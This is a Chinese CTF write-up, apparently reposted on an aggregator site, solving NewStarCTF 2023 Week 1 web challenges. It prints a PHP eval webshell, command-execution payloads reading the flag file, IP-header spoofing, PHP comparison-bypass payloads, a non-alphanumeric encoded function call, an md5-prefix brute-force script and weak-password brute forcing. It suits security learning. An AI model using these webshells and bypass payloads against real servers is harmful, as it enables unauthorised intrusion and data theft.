[wp]NewStarCTF 2023 WEEK1|WEB

这篇具有很好参考价值的文章主要介绍了[wp]NewStarCTF 2023 WEEK1|WEB。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

泄漏的秘密 

考的就是敏感信息的泄露 题目提示两个 

无非就最简单的三种

1.robots.txt

2.www.zip

3.index.php.swp

当然我的做法就是直接用dirsearch扫描了 得到了robots.txt和www.zip文件,访问拼接就得到了flag了

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全 

Begin of Upload

考的就是绕过客户端 JavaScript检验 上传一句话木马修改文件名后缀就行了

一句话木马内容;

<?php eval($_POST[1]);?>

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

得到文件路径 我们可以直接利用蚁剑一把梭  也可也RCE

 [wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

节省时间 我们直接使用rce 访问路径 然后利用POST传参 1=system('cat /f*');

用1 是因为上边的一句话木马密钥为1 自己也可改其他的 后边就是一个命令执行

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

 

Begin of HTTP

考的就是http协议的一些用法知识 还是不错的

闯关 GET传参

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

payload:?ctf=1  

 [wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

POST传参  在源码得到得到传入的参数 

  Secret: base64_decode(bjN3c3Q0ckNURjIwMjNnMDAwMDBk)

解码得到n3wst4rCTF2023g00000d

payload:secret=n3wst4rCTF2023g00000d

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全 

抓包修改power 为ctfer

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

改User-Agent 为NewStarCTF2023

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全 

改Referer为newstarctf.com 

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

发现只能本地用户访问  

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全 

这里测试三个就行 XFF client-ip X-Real-IP

发现X-Real-IP可行

我们添加 X-Real-IP:127.0.0.1就饿可以了

然后就获得flag

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全 

 

ErrorFlask

这道题也不知道考的什么 又不是SSTI注入 直接传参 抓包就得到flag了 搞不懂意义在哪 难度是非预期?

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

Begin of PHP

这道题考的可以说就是PHP的特性 弱比较 强比较 变量覆盖 无字符数字的shell

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}//典型的弱比较 直接数组绕过 ?key1[]=1&key2[]=2

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
} //对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以直接 key3[]=1

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}//这里strcmp有一个bug就是如果比较的是数组的话,直接返回一个0。key4[]=1

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
} //绕过is_numeric()函数 因为不能为数字 但我们可以变成判断条件绕过 即 key5=2024|2024

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);  // 变量覆盖漏洞
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        } //过滤a-z A-Z 0-9 那这里就要使用无字符字母
    }
    if($flag5){
        echo file_get_contents("/flag"); //那很简单 直接让flag5变成ture 就可以获得flag 那我们 对flag5进行传参 只要不包含数字字母的shell就可以获得flag flag5=(~%8F%97%8F%96%91%99%90)();
//里面那个是phpinfo();

    }else{
        die("nope,this is level 5");
    }
}

源码和代码审计都在上边 所以最终payload:

GET:?key1[]=1&key2[]=2&key4[]=1&key5=2024|2024

POST: key3[]=1&flag5=(~%8F%97%8F%96%91%99%90)();

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

R!C!E!

这道题的考点就是一个md5的截断 一个是如何绕过黑名单 

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

审计代码:

1.传入的password的md5加密的前6 位为c4d038

2.传入 的e_v.a.l 不能包含flag等字符

那么我们先写给个脚本去碰撞c4d038 

import requests
import base64
import sys
import hashlib

def getMd5(index):
	for i in range(100000,100000000):
		x = i
		md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
		if md5[0:6] == index:
			return x;
print(getMd5("c4d038"))

得到为114514 然后下边那个绕过就直接使用内敛绕过 那么最终的payload:

password=114514&e_v.a.l=echo `tac /f*`;

发现无回显,那应该是 e_v.a.l里面的_号是非法字符,会被php过滤 那我们换成[就好了

所以payload

password=114514&e[v.a.l=echo `tac /f*`;

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

EasyLogin

这道题还是比较简单的 可以说就考察了一个弱口令登入 然后利用bp抓包得到flag 误导区应该就是让你登入进去后让你以为在终端里面有flag

这道理我们利用bp爆破得到admin的密码为000000(注意md5编码)

因为节约时间 我上边自己添加了 就不跑字典

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

然后进行爆破

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全

字节长度不一样 然后密码就是他了 我们登入进去 抓包 然后就得到flag

[wp]NewStarCTF 2023 WEEK1|WEB,CTF,writeup,Web安全,web安全,网络安全文章来源地址https://www.toymoban.com/news/detail-723027.html

到了这里,关于[wp]NewStarCTF 2023 WEEK1|WEB的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~

    泄露的秘密 www.zip Begin of Upload 打开源码 找到限制是在前端 我们抓包 上传正常后缀的文件 比如jpg结尾 但是这样传上去服务器是无法解析的 所以我们进行抓包 然后在bp中修改后缀名 将我们上传的后缀jpg在请求包中改为php 服务器就可以解析我们的语句了 一句话木马: ?php eval

    2024年02月06日
    浏览(46)
  • NewStarCTF 2023 公开赛道 WEEK4|CRYPTO 部分WP

    1、题目信息 提示: \\\"Schmidt Samoa\\\" 附件信息 2、解题方法 学了一个新技巧,哈哈哈。 简介 : Schmidt-Samoa密码系统,像rabin加密一样,其安全性基于整数因式分解的难度。但 Rabin 解密时会得到四个解,而 Schmidt-Samor 得到的是唯一解。 密钥生成 1.选取两个大的质数p和q并进行计算

    2024年02月08日
    浏览(43)
  • *CTF 2023 web jwt2struts 题解wp

    根据题目名字猜测,这题考察jwt和Struts2 包里面果然有一个cookie 验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU 我们的目标应该是把 user 改成 admin 首先,直接修改试试,结果是不行的。 再尝试一下爆破: 也是不行

    2024年02月14日
    浏览(36)
  • NewStarCTF 2022 web方向题解 wp

    先看题目,要传参加绕过。 分析一下代码:首先get一个data= data://test/plain, Wel…。然后key1和2用数组可以绕过。num=2077a可以绕过弱类型。eval()中的php语句被 # 注释了,我们需要通过换行 %0a 来忽视这个注释,所以再构造cmd=%0asystem(‘ls /’); 看看题干,伪随机数工具。 分析一下代

    2024年02月11日
    浏览(35)
  • 2023陕西省大学生信息安全竞赛web writeup

    早写好了,忘发了,题目质量还行,够我坐大牢 简单的反序列化,exp如下 传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样 preg_replace采用了/e的模式,很明显有rce漏洞,简

    2024年02月07日
    浏览(47)
  • [CTF]2022美团CTF WEB WP

    最终排名 源码 由上源码可知想要造成pickle反序列化需要两步: 1.得到secret_key 2.绕过黑名单造成pickle反序列化漏洞 那么先来实现第一步: app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3 从这里知道,想要爆破key其实并不难,可以自己试试 那

    2024年02月06日
    浏览(44)
  • 0xGame week4-WEB wp

    完结撒花!!!学到了很多很多,算是我这个WEB菜鸡过渡期的一个见证吧。 0xGame虽然也没做出来几道(大嘘),但是 一步步跟着复现也学了很多好玩的知识点和思路,希望下次能进化成WEBak哥hhhhhh~~~~ 来看最后一周,全是java框架,麻了。 整体不难,hint把解题方法基本写脸上

    2024年02月05日
    浏览(56)
  • 2023年“羊城杯”网络安全大赛 Web方向题解wp 全

    团队名称:ZhangSan 序号:11 不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~ 简单记录一下,实际做题踩坑很多,尝试很多。 先扫了个目录,扫出 start.sh 内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。 开始做题,题目让我访问路由 /

    2024年02月10日
    浏览(37)
  • [NewStarCTF 2023] web题解

    打开题目,提示有敏感信息泄露 直接扫一下目录,发现有 ./www.zip 访问然后下载下来,解压到桌面 源码和robots.txt分别是两部分flag 右键看下源码,发现对上传文件后缀名有检测 这里的检测是后缀名只需要出现合法的就行 我们上传1.jpg的一句话木马 然后抓包修改文件名为 1.

    2024年02月05日
    浏览(32)
  • 攻防世界ctf web easyphp题解wp

    第一步,用科学计数法绕过 a=1e9 第二步,用php代码编写MD5碰撞脚本得到b=53724 第三步,绕过is_numeric函数 第四步,绕过is_array函数  第五步,绕过array_search函数 一定要对传值url编码 提交得到flag  

    2024年02月16日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包